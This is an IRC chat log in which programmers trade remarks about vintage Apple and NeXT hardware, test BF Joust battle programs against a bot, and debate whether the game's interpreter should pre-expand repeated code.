nooga, "lmso"? 16:30:37 lmao* 16:30:39 ah 16:30:39 The Mac Cube was a pretty cool design. 16:30:43 AnMaster: But some enthusiasts still have one. 16:30:45 yea 16:30:47 pikhq, designwise yes 16:30:47 Not in the sense that it ran cool, mind. 16:30:49 -!- MizardX has quit ("Proclamation of invalidity!"). 16:30:49 say that about mac mini 16:30:53 If you put two mac minis on top of each other: 16:30:53 http://www.apple.com/macmini/ 16:30:57 it would look basically the same. 16:30:59 (And be just as hot!) 16:31:04 ehird, hah 16:31:15 * nooga has got mac mini and mb pro 16:31:19 ehird, the cube did have a nice design though 16:31:23 and mac mini < mb pro 16:31:23 * pikhq is tempted to get a Mac Cube and stick a Mac Mini in its case 16:31:39 pikhq: Been done. 16:31:48 ehird, link! 16:31:51 ehird: Thus why I'm tempted. I want one, too. 16:31:57 AnMaster: google.com 16:32:10 !bfjoust test >+>->+>->+>->+>-(>[>[-+++++++++++++++++[-.]]+]+)*20 16:32:17 i'd better go back to my work, erm.. playing enigma 16:32:26 Score for Patashu_suicide_is_your_only_option: 2.9 16:32:26 Score for nooga_woot: 13.0 16:32:26 Score for leonid__lols: 24.2 16:32:26 Score for myndzi_test: 44.4 16:32:31 o_O 16:32:32 O_o 16:32:41 woot? 16:32:44 It lives 16:32:58 ha, it does indeed beat the defends 16:33:05 i thought a timing attack might work out :P 16:33:11 still i don't get how this game works 16:33:12 :f 16:33:26 Just found out erlang's standard library have a module implementing a directed graph, and various operations on it (such as topological sorting). Nice. 16:33:34 AnMaster: Anyway, if you think the G4 Cube was pretty: 16:33:57 ehird, not pretty. That is something else. You can have nice design without it being pretty 16:34:02 Well, whatever. 16:34:02 http://www.channelu.com/Turbo/NeXT/i/cube1a.jpg 16:34:11 ↑ NeXTcube >>> G4 Cube 16:34:12 !bfjoust test >+>->+>->+>->+>-(>[>[------------++++++++++++++++++++++++++++[-.]]+]+)*20 16:34:13 nice design as in "looks cool (NOT in the thermal sense)" 16:34:16 Score for myndzi_test: 36.6 16:34:18 BTW, yes, I also <3 the NeXTcube. 16:34:21 ...apart from not loading, that image is nice 16:34:26 -!- fungebob has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 16:34:28 http://upload.wikimedia.org/wikipedia/commons/2/27/NeXTcube.jpg 16:34:30 have a low-res version 16:34:36 hmm actually the same one, whatever 16:34:44 is the image large 16:34:49 640x480. 16:34:53 !bfjoust test >(+)*20>(-)*20>+>->+>->+>-(>[>[-+++++++++++++++++[-.]]+]+)*20 16:34:57 huh why does it take so long to load then 16:34:57 Score for myndzi_test: 80.1 16:35:04 hot fucking damn :> 16:35:04 meh. timeout 16:35:05 ... 16:35:07 AnMaster: cuz the site is down, use http://upload.wikimedia.org/wikipedia/commons/2/27/NeXTcube.jpg 16:35:10 16:34 ehird: ...apart from not loading, that image is nice 16:35:11 ehird, ah... 16:35:12 18 | - - + + + + - + + + + + + + + + + + - | 80.1 | 11 | myndzi_test.bfjoust 16:35:14 gawd, it's just a little bit of reading... 16:35:21 um 16:35:28 ehird, I was so eager to look at the picture that I didn't read the next line! 16:35:30 whoa 16:35:33 finally 16:35:41 !bfjoust lols < 16:35:45 AnMaster: clearer pics: http://www.fortunecity.com/marina/reach/435/nextsystem_on.jpg, and http://www.fortunecity.com/marina/reach/435/nextcube_fullback.jpg 16:35:45 Score for leonid__lols: 3.0 16:35:50 ehird, looks like a cross between a cube and a safe? 16:35:54 yes it lives! 16:35:55 *dances* 16:35:57 AnMaster: that would be the fan grill 16:36:03 heh 16:36:14 ah those clearer pics doesn't make it looks that way 16:36:17 AnMaster: the CPU ran at 25MHz! 128KB of ROM! 12MB-64MB of RAM! 16:36:18 AnMaster: Probably took a hint from the IBM school of design. 16:36:21 1120x832 two-bit video 16:36:27 2GB harddrive, 256MB optical drive 16:36:29 wasn't the mac cube fanless? 16:36:31 or do I misremember 16:36:33 no 16:36:39 (Nextstations used optical drives instead of HDs, but that was sloooooooooow) 16:36:47 ehird, it was fanless? 16:36:48 !bfjoust lols >-< 16:36:50 no 16:36:50 it was not 16:36:52 Score for leonid__lols: 12.3 16:36:52 ah 16:36:56 "Your computer equipment should be able to be used instead of a cinder block for putting a car on bricks." 16:37:00 <3 early IBM. 16:37:01 ehird, needed a better fan then to not run hot? 16:37:11 AnMaster: oh, and that machine ran tis this operating system: http://www.linuxfocus.org/common/images/article128/next24.jpg 16:37:21 which was then forced to have a child with BSD to produce OS X 16:37:25 AnMaster: it just had terrible airflow 16:37:34 pikhq, what is a cinder block? 16:37:49 http://en.wikipedia.org/wiki/Concrete_masonry_unit 16:40:01 hm ok 16:40:03 -!- inurinternet has quit (Read error: 60 (Operation timed out)). 16:45:03 !bfjoust lols . 16:45:06 Score for leonid__lols: 14.0 16:45:09 what 16:49:16 why do you people insist on submitting this junk :\ 16:49:52 myndzi, "this junk"? 16:50:00 < leonid_> !bfjoust lols . 16:50:09 about the score for it 16:50:13 Patashu> !bfjoust suicide_is_your_only_option < 16:50:13 etc 16:50:26 I guess it scored better than some of the pure defenders, that were waiting for something to happen 16:50:31 so draw against them 16:50:36 draw != better 16:50:51 myndzi, yeah I know I typoed 16:51:01 it did beat two of mine though :> 16:51:04 i know why but i'm not telling! 16:51:05 hehe 16:51:32 myndzi, and I don't care really. :P 16:52:16 (I'm not very interested in programming war games 16:52:40 (which isn't a good name for it probably, but I can't think of anything better for stuff like corewars, bf joust and so on) 16:53:31 !bfjoust lols [-]+.[-]+.[-]+.[-]+ 16:53:35 Score for leonid__lols: 20.5 16:53:45 !bfjoust lols ([-]+.)*10 16:53:49 Score for leonid__lols: 17.0 16:54:50 !bfjoust test . 16:54:55 Score for myndzi_test: 6.4 16:56:10 !bfjoust slowrush >(+)*20>(-)*20>+>->+>->+>-(>[[-+++++++++++++++++[-.]]+>]+)*20 16:56:14 Score for myndzi_slowrush: 84.2 16:56:20 O_o 16:56:37 interesting.. ties? 16:56:50 !bfjoust slowrush >(+)*20>(-)*20>+>->+>->+>-(>[>[-+++++++++++++++++[-.]]+]+)*20 16:56:54 Score for myndzi_slowrush: 80.1 16:57:09 had to check 16:57:20 whoa 16:57:30 !bfjoust lols ([-]+.)*20 16:57:35 Score for leonid__lols: 12.6 16:57:35 btw, between the June 8 and the June 13 I will be away and offline. 16:57:41 !bfjoust lols ([-]+.)*5 16:57:45 Score for leonid__lols: 9.1 16:57:46 (that is inclusive) 16:57:51 *** 16:58:30 -!- inurinternet has joined. 16:58:45 !bfjoust lols ([-]-.)*10 16:58:48 Score for leonid__lols: 9.1 16:59:19 x_x 16:59:34 where's your defense now ehird!? :) 16:59:58 !bfjoust lols (>[-])*10 17:00:02 Score for leonid__lols: 11.0 17:00:15 leonid_: i'm not sure you have grasped the point of this yet 17:00:56 myndzi: that applies to most everyone doing most everything 17:01:05 :\ 17:01:13 did the hillsize get bumped overnight? 17:01:23 For some values of "overnight", yes 17:01:32 myndzi, no 17:01:33 Some 8 hours ago or so 17:01:41 i read the rules though 17:01:58 i'm dumb >_< 17:02:00 oh awesome, he added the archived reports too 17:04:19 !bfjoust lols >+[->+].[-].[-] 17:04:23 Score for leonid__lols: 14.6 17:04:27 ?_? 17:04:28 !bfjoust slowrush >(+)*20>(-)*20>+>->+>->+>-(>[[+-----------------[+.]]+>]+)*20 17:04:32 Score for myndzi_slowrush: 77.8 17:04:34 huh 17:04:44 !bfjoust lols >+[->+].[-].[-].[-].[-] 17:04:48 Score for leonid__lols: 13.0 17:09:04 -!- MizardX has joined. 17:11:52 !bfjoust lols ([-]-)*100 17:11:55 Score for leonid__lols: 13.4 17:18:04 !bfjoust donald (>)*20([-]<)*5 17:18:07 Score for Deewiant_donald: 14.1 17:18:40 !bfjoust donald (>)*21([-]<)*5 17:18:43 Score for Deewiant_donald: 16.5 17:19:00 !bfjoust donald (>)*22([-]<)*5 17:19:04 Score for Deewiant_donald: 17.6 17:19:09 !bfjoust donald (>)*23([-]<)*5 17:19:13 Score for Deewiant_donald: 9.1 17:19:17 !bfjoust donald (>)*24([-]<)*5 17:19:25 Score for Deewiant_donald: 7.6 17:19:30 !bfjoust donald (>)*25([-]<)*5 17:19:34 Score for Deewiant_donald: 7.6 17:21:18 Deewiant: overruns the tape often 17:21:20 it's 10-30 17:21:31 Yes, I am well aware 17:21:52 !bfjoust donald (>)*21([-]<)*5 17:21:58 Score for Deewiant_donald: 17.0 17:22:02 I think I'll settle with this guy, beats shade :-P 17:22:10 http://buttersafe.com/2009/05/28/do-you-want-this-snake/ 17:22:27 ehird: I was just trying to get the right values out of the randomizer to beat the best bots :-P 17:22:43 Deewiant: just do (>)*N(-)*128[-] 17:22:51 it's almost optimal for the write tape length N 17:22:59 in fact, completely optimal, I think 17:23:01 Ah right, (-)*128 is of course better 17:23:03 hm actually make it 17:23:25 Deewiant: (>)*N(-)*128.[(-.)*128] 17:23:28 Although I guess too many programs will modify their flag a bit, even attackers 17:23:32 see above 17:23:35 ehird: Why . 17:23:38 Deewiant: nop 17:23:43 ehird: Not what, why 17:23:55 Deewiant: because the flag has to be 0 for two generations 17:24:02 [-] handles this because it's [-]-]-] 17:24:13 hmm otoh, -.-. takes the same cycles 17:24:14 Oh right, the * is inside the [] 17:24:20 (>)*N(-)*128.[-], then 17:24:24 without the comma 17:24:29 oh wait, the [ takes a cycle 17:24:31 (>)*N(-)*128[-] 17:24:34 bruteforce for N 17:24:36 :-P 17:24:37 Deewiant: you want a short N 17:24:41 i'd bruteforce for N=9 17:24:45 so 10-length tape 17:24:48 that way you take less cycles 17:25:06 It takes less cycles than the opponent in any case 17:25:15 yes 17:25:20 but less cycles objectively = winzor or sth 17:25:26 !bfjoust donald (>)*21(-)*128[-] 17:25:31 Score for Deewiant_donald: 15.1 17:25:39 Yay, beats shade again 17:25:44 I'm happy with that :-P 17:25:53 !bfjoust fuck (>)*9(-)*128[-] 17:25:54 !bfjoust lols (+.)*100 17:26:00 leonid_: how stupid 17:26:04 :( 17:26:16 leonid has the amazing ability to make running the joust take upwards of 10 minutes 17:26:37 no 17:26:45 it was about 80 min 17:26:52 Before that, it was 12 17:26:54 yes 17:26:54 Wasn't it 17:26:55 * ehird kicks leonid_ 17:27:00 :-D 17:27:03 ehird don't hate stupid people 17:27:08 give them some love 17:28:11 and why isn't it terminating again 17:28:12 fun compiler bug for when the last function isn't properly closed. ./polynomial.erl:999999: syntax error before: 17:28:24 note file is 125 lines long with comments 17:28:29 err, 129 17:28:30 but still 17:28:41 (fixed in next version) 17:29:01 gah 17:29:04 is this my fault again 17:29:08 >_> 17:29:17 yes 17:29:20 how 17:29:30 -!- Gracenotes has joined. 17:30:59 how indeed 17:32:05 i think ehird just hates me ._. 17:32:17 * ehird kicks leonid_ again for good measure 17:32:21 argh 17:32:28 i'm prejudiced against people i kick 17:32:28 you fellow golfer 17:32:29 sorry. 17:32:34 why do you dislike leonid_? 17:32:43 AnMaster: i kicked him, therefore I dislike him. QED. 17:32:44 I thıṅk that my dotted ıṡ don't lıḳe dots. 17:33:01 lmfao 17:33:11 ehird, I think there is a flaw in that logic somewhere. But I can't pinpoint it... 17:33:12 hey ehird why did you stop golfing 17:33:16 leonid_: oh you're the anarchy golf leonid? 17:33:23 yes don't you realize 17:33:23 also I just haven't been there in a while i guess you brought me there now. 17:33:29 right okay i retract my kicks 17:33:32 :( 17:33:38 you submitted a non-embed to my http://golf.shinh.org/p.rb?Walk+the+line 17:33:40 which is a-okay 17:33:43 ehird, finished that new joust interpreter? 17:33:47 oh 17:33:49 oh right that's why I stopped anagolfing 17:33:53 EVERYONE JUST SUBMITS EMBEDS 17:33:58 well 17:34:01 AnMaster: no, GregorR made his own so why bother? 17:34:04 post a problem that prevents embed 17:34:15 leonid_: that sucks, there are plenty of interesting non-embed problems 17:34:20 ehird, hm thought it was mostly done? 17:34:23 ehird 17:34:25 ehird: the +- thing? the exahustive battle? 17:34:33 i know >_> 17:34:45 myndzi: yeah, but GregorR said that egojoust was fine for now 17:34:56 well, it's currently lagged to hell, but yeh 17:35:02 Score for ehird_fuck: 11.3 17:35:02 so /shrug 17:35:03 Score for leonid__lols: 14.5 17:35:08 too bad, i think i figured out how to fix my bug 17:35:11 !bfjoust fuck (>)*9(-)*128[-] 17:35:12 oh nice 17:35:16 Score for ehird_fuck: 9.0 17:35:17 even though it is gonna kill his ram 17:35:19 !bfjoust fuck (>)*9(-)*128[-] 17:35:19 ehird: What's an embed 17:35:22 ehird 17:35:24 Score for ehird_fuck: 9.0 17:35:26 why do you do (-)*128 17:35:36 leonid_: because ------- takes less cycles than [-]-]-]-]-] 17:35:36 doesn't it just go back to its position 17:35:41 erm 17:35:42 no 17:35:44 128→0 17:35:48 (-(-)*128-)*128 17:35:52 Deewiant: embedding the outputs required in the examples on the golf site 17:35:55 instead of actually doing the computation 17:36:01 note that the above won't work 17:36:01 almost always shorter than actually solving it 17:36:06 it'll dec you right through 0 and past it 17:36:11 128^128+2 FTW? 17:36:11 myndzi: ehm, no 17:36:13 ehird: Ah, so it's the marking for the "cheating entries" 17:36:19 128→0, [, ding! you win 17:36:21 referring to (-(-)*128-)*128 17:36:23 Erm. 128¹²⁸+2. 17:36:24 oh 17:36:25 it's all -'s 17:36:27 !bfjoust fuck (>)*9(-)*128[-] 17:36:27 !bfjoust fuck (>)*9(-)*128[-] 17:36:28 !bfjoust fuck (>)*9(-)*128[-] 17:36:30 !bfjoust fuck (>)*9(-)*128[-] 17:36:32 D: 17:36:32 !bfjoust fuck (>)*9(-)*128[-] 17:36:34 Hmm, no golfscript entry 17:36:34 !bfjoust fuck (>)*9(-)*128[-] 17:36:36 * ehird prays 17:36:38 dear lord, please make this work 17:36:40 amen 17:36:43 i think i slowed it down horribly 17:36:56 i wasn't quite thinking about the numbers i was using, i should fix that 17:37:00 deewiant, golfscript entry for which problem? 17:37:04 but if/when it runs properly it should win 17:37:09 leonid_: mine 17:37:09 beat everything but shade 17:37:10 Walk the line 17:37:10 leonid_: The one ehird linked 17:37:13 oh 17:37:30 oh god 17:37:35 180000000 expansions 17:37:43 O_o 17:37:46 you wrecked it 17:37:49 you broke it 17:37:53 that's what you get for making me use loop operators for "if not zero" :( 17:37:53 It doesn't cache it in between, does it? :-D 17:37:58 lol i don't think so 17:38:01 and it has to run it 20 times 17:38:08 19 17:38:15 any tips for good bots? 17:38:24 Try random shit until you get a good score 17:38:32 that sounds convincing 17:38:32 Worked for me (for middling values of "good") 17:38:44 514MB 17:38:45 that's i do when i golf 17:38:46 oshi 17:38:50 that can't be good 17:38:52 that's what i do* 17:39:02 i'll take it off as soon as i can 17:39:09 i'll take my two ties 17:39:17 !bfjoust toofuckingexponential___indahouse (((((-)*65536)*65536)*65536)*65536)*65536 17:39:21 if this is the compromise 17:39:25 oh god 17:39:28 well 17:39:31 he doesn't expand those 17:39:33 so that's ok i guess 17:39:37 1,073,741,824 petabytes 17:39:45 wait, actually 17:39:48 = 1 yottabyte 17:39:48 if my understanding is correct 17:39:55 huh 17:39:58 omg 17:39:59 A YOTTABYTE! 17:40:02 it should only then be somewhere in the range of 25.7MB 17:40:19 it'd expand the ({}) inside the () but not expand it 20 times 17:40:20 ..i hope 17:40:20 don't care it's 1 yottabyte, in my mind 17:40:26 erm 17:40:30 where is leonid_'s 180000000000000 expansions 17:40:42 i am talking about my (((((-)*65536)*65536)*65536)*65536)*65536 17:40:42 what 17:40:43 no 17:40:52 =1YB 17:40:58 what i did was doing (<)*x or something 17:41:12 damn i want to see the results but i gotta go to work 17:41:16 bai 17:41:57 ehird i forgot what your main language for anagol was 17:42:17 leonid_: varied. sometimes ruby, sometimes perl, sometimes haskell 17:42:22 sometimes C 17:42:28 cool 17:42:41 yeah i saw some ruby submissions of you 17:42:46 http://golf.shinh.org/p.rb?Linear+Congruences ← if Mathematica was an option this would be a oneliner :-D 17:43:13 There's maxima 17:43:18 will maxima work? 17:43:20 ah 17:43:21 perhaps 17:43:21 oops ninjad 17:43:49 well 17:43:53 this problem is easy 17:43:55 brb embedding 17:45:01 forget it 17:45:32 Score for ehird_fuck: 9.5 17:45:32 Score for ehird_fuck: 9.5 17:45:32 Score for ehird_fuck: 9.5 17:45:32 Score for ehird_fuck: 9.5 17:45:32 Score for ehird_fuck: 9.5 17:45:33 Score for ehird_fuck: 9.5 17:45:42 Score for ehird_toofuckingexponential___indahouse: 31.1 17:45:43 lmfao 17:45:52 wtf, it ran my 1yb program :D 17:45:58 lolol 17:46:08 I wonder what it expanded it to 17:46:33 !bfjoust lols (-)*99999 17:46:46 Score for leonid__lols: 20.8 17:46:52 !bfjoust lols (-)*999990 17:46:57 Score for leonid__lols: 20.8 17:46:58 !bfjoust fuck (-)*99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 17:47:03 lmfao 17:47:10 actually 17:47:13 that's likely smaller 17:47:17 !bfjoust lols (-)*-1 17:47:26 >> 65536*65536*65536*65536*65536 17:47:26 => 1208925819614629174706176 17:47:27 or not 17:47:40 omfg 17:47:45 ehird: It treats it as a for(int i = 0;i < HUGE_FUCKING_NUMBER;i++) and doesn't unroll the loop. ;) 17:48:06 pikhq: but running a loop that many times should take way longer than it did 17:48:31 Except that it's a suicide program. 17:48:49 It'll end execution in the first run of the loop. :p 17:49:00 pikhq: no loop 17:49:09 it has to stay 0 for two cycles 17:49:14 it goes 1, 0, 255 17:49:16 I'm calling (x)*foo a loop. :p 17:49:18 ... Oh. 17:49:23 For two cycles? 17:49:23 w/ [-], yes, it would stop 17:49:24 Well, then. 17:49:25 [-]-]-]-] etc 17:49:32 the ] would make it suicide 17:49:37 -!- oerjan has joined. 17:50:21 no ais523 :( 17:50:24 !bfjoust scrooge (+)*384000 17:50:32 17:46 ehird: !bfjoust fuck (-)*99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 17:50:39 ahead of you i way am 17:50:55 No, you're trying to kill the interpreter or something :-P 17:51:01 I'm using +, besides 17:51:39 i bet the interpreter hates you 17:52:42 -!- tombom has joined. 17:54:40 do i have to wait for this until the world ends 17:54:48 you ehird you fool 17:55:03 this is why MYYY interpreter is needed ;;;;;;;;;;)))))))))))))))) 17:56:27 ugh 17:56:43 the interpreter should have a timeout 17:58:09 it does 17:58:10 20k cycles 17:58:12 but it's slow as fuck 18:01:24 -!- oerjan has quit ("Good night"). 18:01:48 :d 18:02:05 ehird: 384k cycles was claimed by someone 18:03:50 maybe GregorR did that 18:04:16 (Thence the value used in scrooge) 18:17:58 it's 100000 18:18:07 yd.f oace 18:18:14 they said the other night 18:18:36 but the timeout doesn't count the time spent expanding 18:20:36 Ah, so I see, 100k it is. 18:21:11 nescience: yd.f oace? 18:21:24 going to bed 18:21:32 bye 18:21:55 * leonid_ goes to bed 18:29:43 ehird: accidental keyboard layout swap 18:29:53 :D 18:29:56 what was it meant to be? 18:30:18 "they said" 18:30:26 so did you guys fuck up the bot? :\ 18:30:37 i took my broken thing off 18:30:52 i realized to do what i want (and be victorious against everything except shade) i need THREE nested expansions 18:31:03 !bfjoust turnintoagreenthing . 18:33:46 so i got into work today 18:33:52 open up the back door to get a cross breeze blowing 18:33:57 and there's some chick back behind our building 18:33:59 in a little fort 18:34:04 smoking a joint and changing her clothes 18:34:05 o_O 18:34:17 she's like 18:34:18 "hi" 18:34:21 "i'm just changing" 18:34:26 First law of IRCodynamics: Everyone has a more interesting life than you, except when they don't. 18:34:42 -!- olsner has joined. 18:36:19 so you gonna write that interpreter after all? 18:36:38 seeing as we managed to cripple the bot somehow 18:36:52 (plus if you do expansionless evaluation then i can make slowrush better!) 18:38:31 Yeah, I guess so. 18:38:59 :) 18:39:06 * ehird refactors some of the rubbish code in it and gets to work on an interpreter loop 18:41:10 hrm 18:41:23 you could probably ask GregorR-L for his code 18:41:31 naw 18:41:32 the one he pasted before isn't the most recent 18:41:41 not hard to write from scratch 18:41:45 & his code probably isn't mit-licensed 18:41:49 don't want to submit a patch? ;) 18:41:58 also, I'm making a new hill infrastructure 18:42:01 so it would be rather pointless 18:42:13 aha 18:42:33 anyway, it'll just be part of 18:42:33 !help 18:42:34 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge notecho num ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 18:42:35 er 18:42:36 !info 18:42:37 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 18:44:34 i guess it must expand 90s, 'cause i can't see anything else evil in the buffer 18:44:37 Okay let's see this parser is awful I'm rewriting the paresr 18:44:46 nescience: I'm going to do expanding as a pre-processor stage 18:44:50 with guards against omggigantic programs 18:45:02 i outlined how to do it without expanding at all earlire 18:45:04 earlier* 18:45:06 also, no (a{b}c)%N, you can just do (a)*Nb(c)*N 18:45:07 i can elaborate if you want? 18:45:14 not quite 18:45:15 nescience: well, almost all programs are small enough just to expand beforehand 18:45:20 also, yes, w/ mine 18:45:25 'cause you have to execute both Ns the same amount of times 18:45:27 I know ais's interp can't handle it 18:45:32 if the first one breaks out before it's done... 18:45:32 nescience: ehm wut 18:45:34 oh i see what you mean 18:45:39 i just mean syntactically 18:45:50 (a[)*Nb(]c)*N will work in mine, for instance 18:45:50 yeah 18:45:56 i see, but i'm not sure why it's worth it 18:46:01 so there's no need for (a[{b}]c)%N 18:46:07 nescience: one less useless feature 18:46:20 there is a need for %N though 18:46:26 the problem with doing it like this: 18:46:31 (a[)*Nb(]c)*N 18:46:35 -!- jix_ has joined. 18:46:40 is that when the [ fails and you skip the rest of the iterations 18:46:49 nescience: excuse me... 18:46:51 you have to only do the same amount of closing iterations on the second one 18:47:03 i don't think you understand. at all 18:47:09 (a[)*5b(]c)*5 18:47:09 → 18:47:16 a[a[a[a[a[b]c]c]c]c]c 18:47:19 before running 18:47:19 yes 18:47:21 which is identical to 18:47:23 if you expand it 18:47:26 (a[{b}]c)%5 18:47:27 → 18:47:29 a[a[a[a[a[b]c]c]c]c]c 18:47:31 nescience: which I am 18:47:39 the longest legit program, when expanded, is ~1MB 18:47:47 but you can save yourself time, energy, and memory without expansion 18:47:53 also 18:48:01 instructions != cycles as far as legitimacy goes 18:48:03 nescience: time, not really 18:48:06 energy, um what 18:48:11 memory, oh noes 1MB 18:48:16 for example, there will be programs that have a lot of code inside [] 18:48:18 that won't get executed 18:48:26 nescience: so? 18:48:28 and they'll have to repeat that block of [] a number of times to do what they want to accomplish 18:48:31 ~20k max cycles 18:48:36 so, the longest legit program can be a lot longer than that 18:48:36 irrelevant 18:48:45 because you could skip 10000 instructions all at once 18:48:51 I don't see your point. 18:49:05 ehird: 100k. 18:49:06 obviously not 18:49:11 Deewiant: 20k in mine. 18:49:14 my point is that 1mb, fully expanded, is not enough space 18:49:14 I can raise it to 100k if I want. 18:49:23 nescience: err, what 18:49:29 running programs takes constant space 18:49:44 100k is not higher than 1mb :P 18:49:51 ehird: 100k in both of GregorR's and ais's, so I'd do it 18:49:53 yes, running programs takes constant space 18:49:53 that means 100,000 18:49:55 but earlire 18:49:57 earlier, 18:50:01 Deewiant: 20k in ais's. 18:50:02 i submitted one that was like 25mb 18:50:09 ehird: 2009-05-28 09:05:45 ( GregorR-L) myndzi: Actually, 100000 in ais' and mine. 18:50:09 and it was bugged, it should have been bigger 18:50:17 Deewiant: I don't care, ais told me. 18:50:29 nescience: it'll just reject programs bigger than 100MB. 18:50:35 ehird: while ($steps++ < 100000) { 18:50:37 ehird: From the source. 18:50:38 since that's about as high as any legit warrior will be 18:50:39 Deewiant: k 18:50:42 which is something of a mistake, and also unnecessary 18:50:51 you could be running a program that's like 1000 bytes instead 18:50:51 nescience: your arguments are unconvincing 18:50:54 but you don't want to 18:51:10 -!- psygnisfive has joined. 18:51:12 partly i'm in a hurry, partly you're being stubborn 18:51:26 nescience: ... there's no advantage to expanding it in-time 18:51:36 you're seriously overreacting 18:51:40 i was saying you don't have to expand it at all 18:51:44 which saves a lot of work 18:51:51 yes you do, to handle the cycle count 18:51:52 but also that the ({}) syntax is necessary to do so 18:51:57 not true 18:52:13 nescience: then tell me. 18:52:16 you simply don't count non instructions towards the number of cycles 18:52:22 -!- Slereah has quit (Read error: 60 (Operation timed out)). 18:52:26 what would you like me to tell you? 18:52:50 nescience: how do you not expand it 18:52:55 (+)*57 takes 57 cycles 18:52:56 it must 18:53:11 yes 18:53:21 so how do you avoid expanding 18:53:23 for ()s you simply need a counter 18:53:28 for a simple ()*N loop, 18:53:44 when you reach ), increase the counter; if it == N, then proceed, else go back to ( 18:53:52 so what advantages does this have over preëxpanding, other than using a measly 100MB less memory? 18:54:20 the time spent to expand to that 100mb every battle (or store it) 18:54:33 which is what is currently making EgoBot unusable 18:54:34 Just store it -> cheap 18:54:35 ehm 18:54:46 and the lack of an arbitrary program length limit 18:54:46 nescience: i can expand 100mb in like a few miliseconds. 18:54:49 but yeah 18:54:51 I'm just going to store it 18:55:13 because of the nature of brainfuck, some programs are simply going to be extremely long 18:55:19 and you are basically saying "nope, not doin it" 18:55:20 * nescience shrugs 18:55:24 it stands to reason that chickens are green? 18:55:32 you're not giving me any arguments why 100mb programs are needed 18:55:50 -!- bsmntbombdood has joined. 18:55:51 because that's how many insructions it takes to do certain things? 18:55:56 i thought that was fairly obvious 18:55:58 No point in doing it until it's necessary, unless it's trivial 18:56:00 i can give you some code later if you like 18:56:06 do show me this amazing 100mb warrior 18:56:20 i don't know the exact expansion size, but from earlier: 18:56:51 >(+)*20>(-)*20>+>->+>->+>-(>[[-+++++++++++++++++[-.]]+>]+)*20 <- this program tops the hill 18:56:53 2 ties and 1 loss 18:56:56 -!- Slereah has joined. 18:57:02 the 2 ties are because of polarity, so i was attempting to beat them too 18:57:02 * ehird measures 18:57:14 to do that i needed to do the -. loop a fixed number of times 18:57:17 which means i hae to do something like: 18:57:28 nescience: dude 18:57:29 that's 654 bytes 18:57:30 BYTES 18:57:34 not even a KILOBYTE 18:57:38 let along 1024KB = 1MB 18:57:40 let alone 100MB! 18:57:43 that wasn't the example dude 18:57:44 chill the fuck out 18:57:48 o_O 18:57:50 i'm explaining the reasoning and necessity 18:57:50 i'm chilled 18:57:51 -!- jix has quit (Read error: 113 (No route to host)). 18:57:51 >(+)*20>(-)*20>+>->+>->+>-(>[[-+++++++++++++++++([-.{}([+.{}])*3000])*3000]+>]+)*20 18:57:56 * ehird measures that 18:58:05 that one is broken but expands to like 4 bytes * 3000 * 3000 + something * 20 18:58:21 the fix requires another nested loop 18:58:31 which again exponentially increases the size 18:58:36 nescience: let's say something=1000 18:58:36 i didn't bother with the fix because it wouldn't work on EgoBot 18:58:38 that's 34MB 18:59:25 now take that and add another expansion like i said :P 18:59:32 *3000 again? 18:59:34 that's well on its way to 100mb 18:59:44 i doubt *3000, but i don't know, i haven't thought it out yet 18:59:47 What's with those {}, aren't they ignored 18:59:48 i just know it'll be big 18:59:54 nescience: um no 18:59:56 that's 100 gigabytes 18:59:58 so 19:00:05 to hell with that :) 19:00:14 it's definitely not gonna be *3000 19:00:32 but my point is no expansion is necessary at all and such programs can be supported 19:00:41 and are also within reason necessary to accomplish certain goals 19:00:46 He's got a point 19:00:51 Deewiant: define h 19:00:51 e 19:01:19 but apparently to you it makes more sense to expand that ~100 byte program to ~100 megs 19:01:24 so uhh i guess there's not much i can do for you 19:01:32 ehird: Whoever's chatting behind the nick nescience 19:01:45 nescience: it seems like a lot of work for barely any game 19:01:47 gain 19:01:57 i mean... it's not as if we all have 64K of ram. 19:02:07 1) it is NOT a lot of work 19:02:24 It's pretty much the same amount of work as parsing the * in the first place 19:02:24 2) the gain is the lack of an arbitrary limit on what you can and can't write 19:02:30 i don't understand it and you've explained it 3 times :-) 19:02:34 -!- max has joined. 19:02:34 it requiers a counter and 2 pointers 19:02:51 probably a stack for the counters or whatever 19:03:00 -!- max has changed nick to Guest65774. 19:03:01 just tell me the algorithm :) 19:03:04 Or manual recursion, whatever 19:03:23 -!- Taejo has quit (Nick collision from services.). 19:03:26 -!- Guest65774 has changed nick to Taejo. 19:03:29 an in the end, hell, being wasteful just because you can is never a great agrument 19:03:48 well, since () are used in two contexts you need to identify ahead of time which it is 19:04:01 for ({})%N, all you do is keep a loop counter as before 19:04:05 nescience: wait, okay, question 19:04:08 Jump to the ) and look at whether it's % or * 19:04:10 why is ({}) necessary in this 19:04:12 when you hit } increase it, if it == N, continue on; otherwise jump to ( 19:04:20 err, hit { increase, jump to ( 19:04:31 if you hit ) decrease it, if it == 0, continue on; otherwise jump to } 19:05:03 the reason ({}) is necessary for non-expanding interpretation is because otherwise you don't know how many times to execute the *N affecting the ] corresponding to a [ 19:05:11 err 19:05:20 handle [] like you would if ({}) wasn't even there, as long as they are balanced inside the () they will work fine 19:05:42 i don't see why (a[)*Nb(]c)*N wouldn't work 19:05:57 ok, assume for a moment that before you execute a[ N times, one of the [ fails 19:06:04 nescience: "fails"? 19:06:05 you are then going to skip all subsequently expanded code 19:06:10 like what, it gets all creaky? 19:06:12 you execute [ while the data is 0 19:06:21 thus do not execute the contents of the brackets 19:06:25 including the rest of the expansions 19:06:31 now you hit ]c*N 19:06:36 you can't expand it N times, because that's too many 19:06:50 you can't rely on the data to determine how many times to expand it, because it must match the a[ 19:06:55 Deewiant: is this making sense to you? maybe you could help me understand... 19:06:58 in short, you're screwed (unless you expand it all ahead of time) 19:07:15 ehird: See last line above :-P 19:07:17 let's take 3 as an example 19:07:28 (a[)*3b(]c)*3 19:07:29 Deewiant: ? 19:07:33 a[a[a[b]c]c]c 19:07:36 